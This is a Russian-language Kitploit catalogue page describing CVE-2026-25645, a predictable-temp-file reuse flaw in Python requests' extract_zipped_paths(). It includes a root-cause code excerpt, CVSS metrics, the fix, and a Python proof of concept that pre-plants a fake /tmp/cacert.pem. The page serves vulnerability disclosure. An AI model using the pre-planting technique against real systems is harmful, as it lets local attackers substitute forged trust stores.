Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-25645 — Небезопасное повторное использование временных файлов в extract_zipped_paths() | Kitploit
Инструменты/GitHubGitHub/jaycelation/cve-2026-25645
Статический анализАнализ уязвимостейЭксплуатацияВеб-безопасностьСтатьи и Исследования
GitHubjaycelation/cve-2026-25645

CVE-2026-25645

Небезопасное повторное использование временных файлов в extract_zipped_paths()

Репозиторий
6 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

[CVE-2026-25645] Небезопасное повторное использование временных файлов в requests.utils.extract_zipped_paths()

Краткое резюме

В библиотеке requests (Python) была выявлена уязвимость в общедоступной служебной функции requests.utils.extract_zipped_paths(). Функция использует предсказуемое, неуникальное имя файла при попытке извлечь файлы во временный каталог системы (/tmp) и не проверяет целостность или принадлежность уже существующих файлов.

Хотя стандартное поведение requests в сочетании с certifi смягчается за счёт importlib.resources, эта утилита остаётся угрозой безопасности для приложений-потребителей или пользовательских реализаций, которые полагаются на неё при обработке заархивированных ресурсов.

Информация об уязвимости

  • CVE ID: CVE-2026-25645
  • CWE: CWE-377 (Небезопасный временный файл)
  • Уровень серьёзности: Средний (5.0)
  • Вектор CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N
  • Затронутые версии: < 2.33.0

Базовые метрики CVSS v3:

  • Вектор атаки: Локальный
  • Сложность атаки: Низкая
  • Требуемые привилегии: Низкие
  • Взаимодействие с пользователем: Требуется
  • Область действия: Не изменяется
  • Конфиденциальность: Нет
  • Целостность: Высокая
  • Доступность: Нет

Технический анализ

Механизм

Функция requests.utils.extract_zipped_paths() предназначена для извлечения элементов из zip-архива (часто используется для наборов сертификатов CA в средах zipapp). Уязвимая логика работает следующим образом:

  1. Предсказуемая цель: Она объединяет системный временный каталог с basename элемента архива (например, /tmp/cacert.pem).
  2. Небезопасная проверка: Она использует if not os.path.exists(extracted_path) для принятия решения о необходимости извлечения файла.
  3. Возврат пути: Если файл существует, она немедленно возвращает путь, не убедившись, что файл был создан текущим процессом, и не проверив его содержимое.

Анализ первопричины

В requests/utils.py логика реализована следующим образом:

root@kitploit:~
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1]) 

# Insecure reuse of existing file
if not os.path.exists(extracted_path):
    # Extraction logic only triggers if file is missing
    ... 

# Returns path to potentially attacker-controlled file
return extracted_path

Воздействие и эксплуатация

Локальный злоумышленник с низкими привилегиями может воспользоваться этим, заранее создав вредоносный файл (например, поддельный набор сертификатов CA) по предсказуемому пути в /tmp. Когда жертва (требуется взаимодействие с пользователем) запускает приложение, вызывающее эту утилиту:

  1. Утилита видит, что файл уже существует.
  2. Утилита пропускает извлечение и возвращает путь к вредоносному файлу.
  3. Приложение-жертва загружает данные злоумышленника, что приводит к компрометации высокой целостности (например, загрузка поддельного хранилища доверенных сертификатов).

Доказательство концепции (автономное)

Следующий скрипт демонстрирует уязвимость, показывая, как утилита повторно использует уже существующий «поддельный» файл вместо легитимного из архива.

root@kitploit:~
import os
import tempfile
import zipfile
from requests import utils

# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
    f.write(b"ATTACKER_MALICIOUS_DATA")

# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
    z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")

# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)

# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
    content = f.read()
    print(f"[i] Content read: {content}")

if content == b"ATTACKER_MALICIOUS_DATA":
    print("[!] Vulnerability Confirmed: Insecure file reuse successful.")

Устранение

Проблема устранена в версии 2.33.0. Исправление заключается в переходе на importlib.resources для более безопасной обработки заархивированных ресурсов, что обеспечивает извлечение в случайные, непредсказуемые каталоги и исключает повторное использование существующих файлов в общедоступных каталогах с правами записи для всех.

Скачать инструмент